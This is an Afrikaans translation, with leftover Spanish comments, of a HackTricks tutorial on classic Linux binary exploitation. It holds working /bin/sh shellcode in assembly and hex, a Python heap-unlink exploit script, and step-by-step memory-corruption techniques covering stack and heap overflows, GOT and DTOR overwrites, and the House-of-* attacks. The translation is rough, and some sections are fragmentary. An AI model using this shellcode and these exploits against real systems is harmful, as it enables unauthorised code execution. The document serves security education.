.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Uitbuiting (Basies) (SPA)
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
2.SHELLCODE
Sien kernel-onderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; skoonmaak eax
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Voer syscall uit
nasm -f elf assembly.asm —> Gee ons 'n .o terug
ld assembly.o -o shellcodeout —> Gee ons 'n uitvoerbare lêer wat deur die samestellerkode gevorm is en ons kan die opkodes met objdump kry
objdump -d -Mintel ./shellcodeout —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry
Bevestig dat die shellcode werk
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Om te sien of die stelseloproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelseloproepe moet verskyn in strace ./GEKOMPILIEERDE_PROGRAM
Met die skep van shellkodes kan 'n truuk uitgevoer word. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode aan en plaas ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en ook kan voortgaan om die kode uit te voer.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ gebruik van die Stok(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Eierjagter:
Dit behels 'n klein kode wat die geheuebladsye van 'n proses deursoek op soek na die daar gestoorde shellcode (soek na 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein spasie is om kode in te spuit.
Polimorfiese shellkodes
Dit is versleutelde skulpe met 'n klein kode wat dit ontsluit en daarna daarna spring, deur die Call-Pop-truuk te gebruik, sou dit 'n versleutelde Caesar-voorbeeld wees:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Aanvullende Metodes
Ret2Ret
Nuttig wanneer 'n adres van die stapel nie in die EIP ingevoer kan word (dit word geverifieer dat die EIP nie 0xbf bevat nie) of wanneer die ligging van die shellcode nie bereken kan word nie. Maar, die kwesbare funksie aanvaar 'n parameter (die shellcode sal hier gaan).
Op hierdie manier, deur die EIP te verander na 'n adres van 'n ret, sal die volgende adres gelaai word (wat die adres van die eerste argument van die funksie is). Met ander woorde, die shellcode sal gelaai word.
Die uitbuiting sal wees: SHELLCODE + Vul (tot by EIP) + &ret (die volgende bytes van die stapel wys na die begin van die shellcode omdat die adres van die oorgedraagde parameter in die stapel ingevoer word)
Dit blyk dat funksies soos strncpy eenmaal voltooi die adres waar die shellcode gestoor was van die stapel verwyder, wat hierdie tegniek onmoontlik maak. Met ander woorde, die adres wat aan die funksie as argument oorgedra word (die een wat die shellcode stoor) word verander deur 'n 0x00 sodat wanneer die tweede ret geroep word, dit 'n 0x00 vind en die program sterf.
Murat Tegniek
In Linux word alle programme afgebeeld beginnende by 0xbfffffff
Deur te kyk hoe die stapel van 'n nuwe proses in Linux opgebou word, kan 'n uitbuiting ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres hiervan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(VOLLEDIGE_uitvoerbare_NAAM) - strlen(shellcode)
Op hierdie manier kan die adres waar die omgewingsveranderlike met die shellcode is, maklik verkry word.
Dit kan gedoen word omdat die execle-funksie toelaat om 'n omgewing te skep wat net die gewenste omgewingsveranderlikes het.
Spring na ESP: Windows-styl
Omdat die ESP altyd na die begin van die stapel wys, behels hierdie tegniek om die EIP te vervang met die adres van 'n oproep na jmp esp of call esp. Op hierdie manier word die shellcode gestoor na die oorskrywing van die EIP aangesien na die uitvoering van die ret sal die ESP na die volgende adres wys, presies waar die shellcode gestoor is.
Indien ASLR nie aktief is in Windows of Linux nie, kan jmp esp of call esp opgeroep word wat in 'n gedeelde objek gestoor is. Indien ASLR aktief is, kan binne die kwesbare program self gesoek word.
Verder, die feit dat die shellcode na die korruptering van die EIP geplaas kan word in plaas van in die middel van die stapel, maak dit moontlik dat die push- of pop-instruksies wat in die middel van die funksie uitgevoer word, nie die shellcode sal raak nie (iets wat kan gebeur as dit in die middel van die stapel van die funksie geplaas word).
Op 'n baie soortgelyke manier, as ons weet dat 'n funksie die adres waar die shellcode gestoor is teruggee, kan call eax of jmp eax (ret2eax) geroep word.
Heeltal-oorvloeiings
Hierdie tipe oorvloeiings vind plaas wanneer 'n veranderlike nie gereed is om 'n so groot getal te hanteer wat aan dit oorgedra word nie, moontlik as gevolg van 'n verwarring tussen veranderlikes met en sonder teken, byvoorbeeld:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
In die vorige voorbeeld sien ons dat die program verwag dat 2 parameters ingevoer word. Die eerste is die lengte van die volgende string en die tweede is die string.
As ons 'n negatiewe getal as die eerste parameter invoer, sal dit aandui dat len < 256 en sal ons daardie filter omseil, en ook sal strlen(buffer) kleiner wees as l, aangesien l 'n ondertekenende int is en baie groot sal wees.
Hierdie tipe oorvloeiings probeer nie om iets in die proses van die program te skryf nie, maar om sleg ontwerpte filters te omseil om ander kwesbaarhede te benut.
Ongeïnitialiseerde veranderlikes
Dit is onbekend watter waarde 'n ongeïnitialiseerde veranderlike kan aanneem en dit kan interessant wees om dit te ondersoek. Dit kan gebeur dat dit die waarde aanneem wat 'n veranderlike van die vorige funksie aangeneem het en dat dit deur die aanvaller beheer word.
.fini_array
Dit is in wese 'n struktuur met funksies wat uitgevoer sal word voordat die program eindig. Dit is interessant as jy jou shellcode kan aanroep deur net na 'n adres te spring, of in gevalle waar jy terug moet gaan na die hoofprogram om die formaatstring 'n tweede keer te benut.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Let wel dat hierdie nie 'n ewige lus sal skep nie omdat wanneer jy terugkeer na die hoofprogram, sal die kanarie dit opmerk, die einde van die stapel mag gekorrup word en die funksie sal nie weer opgeroep word nie. Dus met hierdie sal jy in staat wees om 1 meer uitvoering van die kwesbaarheid te hê.
Formaat Strings om Inhoud te Dump
'n Formaat string kan ook misbruik word om inhoud uit die geheue van die program te dump.
Byvoorbeeld, in die volgende situasie is daar 'n plaaslike veranderlike in die stapel wat na 'n vlag wys. As jy vind waar in die geheue die aanwyser na die vlag is, kan jy printf toegang tot daardie adres maak en die vlag afdruk:
So, vlag is in 0xffffcf4c
En vanuit die lek kan jy sien dat die aanwyser na die vlag in die 8ste parameter is:
Dus, deur die 8ste parameter te benader, kan jy die vlag kry:
Let wel dat deur die vorige uitbuiting te volg en te besef dat jy inhoud kan lek, kan jy aanwysers instel na printf
na die afdeling waar die uitvoerbare lêer gelaai is en dit heeltemal dump!
DTOR
{% hint style="danger" %} Teenwoordig is dit baie vreemd om 'n binêre lêer met 'n dtor-afdeling te vind. {% endhint %}
Die vernietiger is funksies wat uitgevoer word voordat die program eindig.
As jy daarin slaag om 'n adres na 'n shellcode in __DTOR_END__
te skryf, sal dit uitgevoer word voordat die programme eindig.
Kry die adres van hierdie afdeling met:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Gewoonlik sal jy die DTOR-afdeling tussen die waardes ffffffff
en 00000000
vind. Dus as jy net daardie waardes sien, beteken dit dat daar geen funksie geregistreer is nie. Dus owerwrite die 00000000
met die adres na die shellcode om dit uit te voer.
Formaat Strings na Buffer Overflows
Die sprintf skuif 'n geformateerde string na 'n veranderlike. Daarom kan jy die formattering van 'n string misbruik om 'n buffer overflow in die veranderlike waar die inhoud na gekopieer word, te veroorsaak.
Byvoorbeeld, die lading %.44xAAAA
sal 44B+"AAAA" in die veranderlike skryf, wat 'n buffer overflow kan veroorsaak.
__atexit Strukture
{% hint style="danger" %} Teenwoordig is dit baie vreemd om dit te benut. {% endhint %}
atexit()
is 'n funksie waarvolgens ander funksies as parameters oorgedra word. Hierdie funksies sal uitgevoer word wanneer 'n exit()
uitgevoer word of die terugkeer van die hooffunksie.
As jy die adres van enige van hierdie funksies kan wysig om na 'n shellcode byvoorbeeld te wys, sal jy beheer oor die proses verkry, maar dit is tans meer ingewikkeld.
Tans is die adresse van die funksies wat uitgevoer moet word, verskuil agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is geënkripteer met XOR en verskuiwings met 'n willekeurige sleutel. Dus is hierdie aanvalsvektor tans nie baie nuttig ten minste op x86 en x64_86 nie.
Die enkripsiefunksie is PTR_MANGLE
. Ander argitekture soos m68k, mips32, mips64, aarch64, arm, hppa... implementeer nie die enkripsie-funksie nie omdat dit dieselfde teruggee as wat as inset ontvang is. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor.
setjmp() & longjmp()
{% hint style="danger" %} Teenwoordig is dit baie vreemd om dit te benut. {% endhint %}
Setjmp()
maak dit moontlik om die konteks (die registers) te stoor.
longjmp()
maak dit moontlik om die konteks te herstel.
Die gestoorde registers is: EBX, ESI, EDI, ESP, EIP, EBP
Wat gebeur is dat EIP en ESP deur die PTR_MANGLE
-funksie oorgedra word, dus is die argitektuur vatbaar vir hierdie aanval dieselfde as hierbo.
Hulle is nuttig vir foutherstel of onderbrekings.
Nietemin, van wat ek gelees het, is die ander registers nie beskerm nie, dus as daar 'n call ebx
, call esi
of call edi
binne die funksie wat geroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.
VTable en VPTR in C++
Elke klas het 'n Vtabel wat 'n reeks wysers na metodes is.
Elke objek van 'n klas het 'n VPtr wat 'n wyser na die reeks van sy klas is. Die VPtr is deel van die kop van elke objek, dus as 'n owerwrite van die VPtr bereik word, kan dit gewysig word om na 'n dummie-metode te wys sodat die uitvoering van 'n funksie na die shellcode gaan.
Voorkomende maatreëls en ontwykings
Vervanging van Libsafe
Dit word geaktiveer deur: LD_PRELOAD=/lib/libsafe.so.2
of
“/lib/libsave.so.2” > /etc/ld.so.preload
Oproepe na sekere onveilige funksies word deur veiliger funksies onderskep. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir samestellings met -fomit-frame-pointer, nie statiese samestellings nie, nie al die kwesbare funksies word veilig nie en LD_PRELOAD werk nie in bineêre met suid nie).
ASCII Gepantserde Adresruimte
Dit behels die laai van gedeelde biblioteke vanaf 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Tog stop dit eintlik byna geen aanval nie, en veral nie in little endian nie.
ret2plt
Dit behels 'n ROP-uitvoering waar die strcpy@plt-funksie (van die plt) geroep word en na die ingang van die GOT gewys word en die eerste byte van die funksie waarna geroep moet word (system()) gekopieer word. Dan word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer... Uiteindelik word die adres wat in GOT gestoor is, wat system() sal wees, geroep.
Hokke met chroot()
debootstrap -arch=i386 hardy /home/user —> Installeer 'n basiese stelsel onder 'n spesifieke subgids
'n Admin kan uit een van hierdie hokke uitkom deur te doen: mkdir foo; chroot foo; cd ..
Kode-instrumentasie
Valgrind —> Soek foute
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Basiese Uitbuitings
Toegewysde stuk
prev_size |
size | —Kop
*mem | Data
Vry stuk
prev_size |
size |
*fd | Wys na die volgende stuk
*bk | Wys na die vorige stuk —Kop
*mem | Data
Die vry stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vry stukke agtermekaar wees nie (hulle word saamgevoeg).
In "size" is daar bietjies om aan te dui: Of die vorige stuk in gebruik is, of die stuk toegewys is deur middel van mmap() en of die stuk behoort aan die primêre arena.
As 'n stuk vrygestel word en enige van die aangrensende stukke is vry, word hulle saamgevoeg deur die makro unlink() en die nuwe, groter stuk word na frontlink() gestuur om dit in die toepaslike bin in te voeg.
unlink(){
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD = P->fd; —> Die FD van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk
}
Dus as ons die P->bk kan wysig met die adres van 'n shellcode en die P->fd met die adres na 'n inskrywing in die GOT of DTORS minus 12, word dit bereik:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
En dus word die shellcode uitgevoer wanneer die program eindig.
Verder skryf die 4de sin van unlink() iets en die shellcode moet hiervoor herstel word:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dit veroorsaak die skryf van 4 byte vanaf die 8ste byte van die shellcode, dus moet die eerste instruksie van die shellcode 'n sprong wees om hierdie te vermy en in 'n paar nops te val wat na die res van die shellcode lei.
Dus word die uitbuiting so geskep:
In die buffer1 plaas ons die shellcode wat begin met 'n sprong sodat dit na die nops of die res van die shellcode val.
Na die shellcode plaas ons vulmateriaal tot by die prev_size- en size-veld van die volgende stuk. Hier plaas ons 0xfffffff0 (sodat die prev_size oorskryf word om die bit te hê wat sê dat dit vry is) en "-4" (0xfffffffc) in die size (sodat wanneer dit in die 3de stuk ondersoek word of die 2de vry was, dit eintlik na die gewysigde prev_size gaan wat sal sê dat dit vry is) -> Dus wanneer free() ondersoek instel, sal dit na die size van die 3de gaan, maar eintlik na die 2de - 4 gaan en dink dat die 2de stuk vry is. En dan roep dit unlink() aan.
Wanneer unlink() aangeroep word, gebruik dit die eerste data van die 2de stuk as P->fd, sodat die adres wat oorskryf moet word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, optel). En op daardie adres word die tweede adres in die 2de stuk ingevoer, wat die adres na die shellcode moet wees (valse P->bk).
from struct import *
import os shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Ons beheer 3 aaneenlopende chunks en hulle word in omgekeerde volgorde vrygestel.
In daardie geval:
In chunk c word die shellcode geplaas
Die chunk a word gebruik om die b te oorskryf sodat die grootte die PREV_INUSE-bit gedeaktiveer het sodat dit dink dat chunk a vry is.
Daarbenewens word die grootte in die b-header oorgeskryf om -4 te wees.
Dus, die program sal dink dat "a" vry is en in 'n bin is, en dit sal unlink() roep om dit af te koppel. Tog, aangesien die PREV_SIZE -4 is, sal dit dink dat die "a" stuk eintlik by b+4 begin. Met ander woorde, dit sal unlink() na 'n stuk roep wat by b+4 begin, sodat die punt "fd" by b+12 sal wees en die punt "bk" by b+16 sal wees.
Op hierdie manier, as ons die adres na die shellcode in bk plaas en die adres na die "puts()"-funksie -12 in fd plaas, het ons ons payload.
Frontlink-tegniek
Frontlink word genoem wanneer iets vrygestel word en geen van sy aangrensende stukke vry is nie, unlink() word nie geroep nie, maar frontlink() word direk geroep.
'n Nuttige kwesbaarheid wanneer die aangevalle malloc nooit vrygestel word (free()) nie.
Benodig:
'n Buffer wat oorstroom kan word met die insetfunksie
'n Buffer wat aangrensend daaraan is wat vrygestel moet word en waarvan die fd-veld van sy kop verander sal word deur die oorloop van die vorige buffer
'n Buffer om vry te stel met 'n groter grootte as 512 maar kleiner as die vorige buffer
'n Buffer wat voor stap 3 verklaar is wat die prev_size van hierdie buffer kan oorskryf
Op hierdie manier kan ons beheerloos in twee mallocs oorskryf en in een beheerloos, maar slegs een keer vrygestel, 'n aanval uitvoer.
Kwesbaarheid double free()
As free() twee keer met dieselfde punt geroep word, is daar twee bins wat na dieselfde adres wys.
As 'n mens een wil hergebruik, sal dit sonder probleme toegewys word. As 'n mens 'n ander wil gebruik, sal dit dieselfde spasie toegewys word, sodat die "fd" en "bk"-punte vervals word met die data wat die vorige toewysing skryf.
Na free()
'n Voorheen vrygestelde punt word weer sonder beheer gebruik.
8 Heap-oorvloeiings: Gevorderde aanvalle
Die Unlink() en FrontLink() tegnieke is verwyder toe die unlink()-funksie gewysig is.
The house of mind
Slegs een oproep aan free() is nodig om willekeurige kode uit te voer. Dit is belangrik om 'n tweede stuk te soek wat deur 'n vorige stuk oorstroom en vrygestel kan word.
'n Oproep aan free() veroorsaak die aanroep van public_fREe(mem), dit doen:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Gee 'n punt na die adres waar die stuk begin (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] word die grootteveld en die NON_MAIN_ARENA-bit nagegaan, wat verander kan word sodat die toets waar is en heap_for_ptr() uitgevoer word wat 'n "and" op "mem" toepas en die minste beduidende 2.5 byte nul maak (in ons geval van 0x0804a000 maak dit 0x08000000) en toegang kry tot 0x08000000->ar_ptr (soos 'n struct heap_info).
Op hierdie manier, as ons byvoorbeeld 'n stuk kan beheer in 0x0804a000 en 'n stuk in 0x081002a0 vrygestel gaan word, kan ons na die adres 0x08100000 gaan en skryf wat ons wil, byvoorbeeld 0x0804a000. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap_for_ptr(ptr)->ar_ptr die waarde wat ons in 0x08100000 geskryf het, teruggee (want dit pas die "and" toe op 0x081002a0 wat ons vroeër gesien het en daarvandaan die waarde van die eerste 4 byte neem, die ar_ptr).
Dus, _int_free(ar_ptr, mem) word geroep, dit is, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Soos ons voorheen gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygestel gaan word, skryf.
Soos unsorted_chunks gedefinieer word, weet ons dat:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Dus, as ons die waarde van __DTOR_END__-12 in av->bins[2] skryf, sal die laaste instruksie in __DTOR_END__ die adres van die tweede stuk skryf.
Met ander woorde, aan die begin van die eerste stuk moet ons die adres van __DTOR_END__-12 baie keer plaas, want dit is waar av->bins[2] dit sal neem.
Op die adres waar die adres van die tweede stuk met die laaste 5 nulle val, moet ons die adres van hierdie eerste stuk skryf sodat heap_for_ptr() dink dat die ar_ptr aan die begin van die eerste stuk is en av->bins[2] daaruit neem.
In die tweede stuk en danksy die eerste, oorskryf ons die prev_size met 'n sprong 0x0c en die grootte met iets om NON_MAIN_ARENA te aktiveer.
Daarna sit ons 'n klomp nops in stuk 2 en uiteindelik die shellcode.
Op hierdie manier sal _int_free(TROZO1, TROZO2) geroep word en sal die instruksies volg om die adres van prev_size van TROZO2 in __DTOR_END__ te skryf wat na die shellcode sal spring. Om hierdie tegniek toe te pas, is daar 'n paar vereistes wat die payload 'n bietjie meer kompliseer.
Hierdie tegniek is nie meer toepaslik nie omdat byna dieselfde pleister as vir unlink toegepas is. Dit vergelyk of die nuwe plek waarna dit wys, ook na hom wys.
Fastbin
Dit is 'n variasie van The house of mind
Ons wil die volgende kode uitvoer wat bereik word na die eerste toetsing van die _int_free() funksie
fb = &(av->fastbins[fastbin_index(size)] —> Waar fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Op hierdie manier, as dit in "fb" geplaas word, gee dit die adres van 'n funksie in die GOT, op hierdie adres sal die adres van die oorskryfde stuk geplaas word. Hiervoor sal dit nodig wees dat die arena naby die dtors-adresse is. Meer presies, dat av->max_fast by die adres is wat ons gaan oorskryf.
Omdat ons met The House of Mind gesien het dat ons die posisie van die av beheer het.
Dus as ons 'n grootte van 8 + NON_MAIN_ARENA + PREV_INUSE in die grootteveld plaas —> fastbin_index() sal fastbins[-1] teruggee, wat na av->max_fast sal wys
In hierdie geval sal av->max_fast die adres wees wat oorskryf word (nie waarna dit wys nie, maar daardie posisie sal oorskryf word).
Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesê het dat die grootte van die vrygestelde stuk 8 is, hoef ons net 'n grootte groter as 8 in hierdie valse stuk te plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val).
Daarbenewens moet daardie selfde valse stuk kleiner wees as av->system_mem. av->system_mem is 1848 byte verder.
As gevolg van die nulle van _DTOR_END_ en die min adres in die GOT, is geen van hierdie adresse geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stok aan te val.
'n Ander aanvalsmanier is om die av na die stok te rig.
As ons die grootte verander sodat dit 16 in plaas van 8 is, dan: fastbin_index() sal fastbins[0] teruggee en ons kan dit gebruik om die stok te oorskryf.
Hiervoor mag daar geen kanarie of vreemde waardes in die stok wees nie, ons moet eintlik hier wees: 4 nulbyte + EBP + RET
Die 4 nulbyte is nodig sodat die av na hierdie adres sal wees en die eerste element van 'n av is die mutex wat 0 moet wees.
Die av->max_fast sal die EBP wees en sal 'n waarde wees wat ons sal help om die beperkings te omseil.
In die av->fastbins[0] sal met die adres van p oorskryf word en dit sal die RET wees, sodat dit na die shellcode sal spring.
Daarbenewens, in av->system_mem (1484 byte bo die posisie in die stok) sal daar genoeg rommel wees wat ons sal toelaat om die toetsing wat gedoen word, te omseil.
Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesê het dat die grootte van die vrygestelde stuk 16 is, hoef ons net 'n grootte groter as 8 in hierdie valse stuk te plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val wat na die grootteveld van die nuwe valse stuk kom).
The House of Spirit
In hierdie geval wil ons 'n aanwyser na 'n malloc hê wat deur die aanvaller verander kan word (byvoorbeeld dat die aanwyser op die stok onder 'n moontlike oorloop na 'n veranderlike wys).
Sodoende kan ons hierdie aanwyser laat wys waarheen ook al. Tog is nie enige plek geldig nie, die grootte van die valse stuk moet kleiner wees as av->max_fast en meer spesifiek gelyk aan die grootte wat aangevra word in 'n toekomstige oproep na malloc()+8. Daarom, as ons weet dat na hierdie kwesbare aanwyser 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48.
As die program byvoorbeeld die gebruiker vra vir 'n nommer, kan ons 48 invoer en die veranderbare malloc-aanwyser wys na die volgende 4 byte (wat dalk aan die EBP behoort, sodat die 48 agterbly, asof dit die kopgrootte is). Daarbenewens moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system_mem.
Indien hieraan voldoen word, wanneer die volgende malloc wat ons gesê het malloc(40) is, geroep word, sal die adres van die EBP aan hom toegewys word. Indien die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy beide die EBP en die EIP met die adres wat hy wil, oorskryf.
Ek dink dit is omdat wanneer dit vrygelaat word free() sal dit bewaar dat daar 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer moet word, op die adres wat na die EBP van die stok wys, is, sodat dit daardie adres toeken.
The House of Force
Dit is nodig:
- 'n oorloop na 'n stuk wat dit moontlik maak om die wilderness te oorskryf
- 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
- 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word
Die eerste ding wat gedoen word, is om die grootte van die wilderness-stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige versoek om geheue groot genoeg te behandel in _int_malloc() sonder om die heap uit te brei
Die tweede is om die av->top te verander sodat dit wys na 'n geheuegebied onder die beheer van die aanvaller, soos die stok. In av->top sal &EIP - 8 geplaas word.
Ons moet av->top oorskryf sodat dit wys na die geheuegebied onder die beheer van die aanvaller:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim kry die waarde van die adres van die huidige wilderness-stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() aangevra word. Dus as &EIP-8 in 0xbffff224 is en av->top bevat 0x080c2788, dan is die hoeveelheid wat ons moet reserver in die beheerde malloc sodat av->top na $EIP-8 wys vir die volgende malloc() sal wees:
0xbffff224 - 0x080c2788 = 3086207644.
Op hierdie manier word die veranderde waarde in av->top bewaar en die volgende malloc sal na die EIP wys en dit kan oorskryf.
Dit is belangrik om te weet dat die grootte van die nuwe wilderness-stuk groter moet wees as die versoek wat deur die laaste malloc() gemaak is. Dit wil sê, as die wilderness na &EIP-8 wys, sal die grootte presies in die EBP-veld van die stok wees.
The House of Lore
Korrupsie SmallBin
Die vrygestelde stukke word in die bin ingevoer op grond van hul grootte. Maar voordat dit ingevoer word, word dit in unsorted bins bewaar. 'n Stuk word nie dadelik in sy bin geplaas as dit vrygelaat word nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde stuk kan help, word dit teruggegee, maar as 'n groter stuk gereserveer word, word die vrygestelde stuk in die toepaslike bin geplaas.
Om die kwesbare kode te bereik, moet die geheueversoek groter wees as av->max_fast (gewoonlik 72) en minder as MIN_LARGE_SIZE (512).
As daar 'n stuk in die bin is wat die regte grootte het vir wat gevra word, word dit teruggegee nadat dit ontkoppel is:
bck = victim->bk; Wys na die vorige stuk, dit is die enigste inligting wat ons kan verander.
bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stok wys, sal die volgende gereserveerde stuk hierdie adres kry
bck->fd = bin; Die lys word gesluit deur dit na bin te laat wys
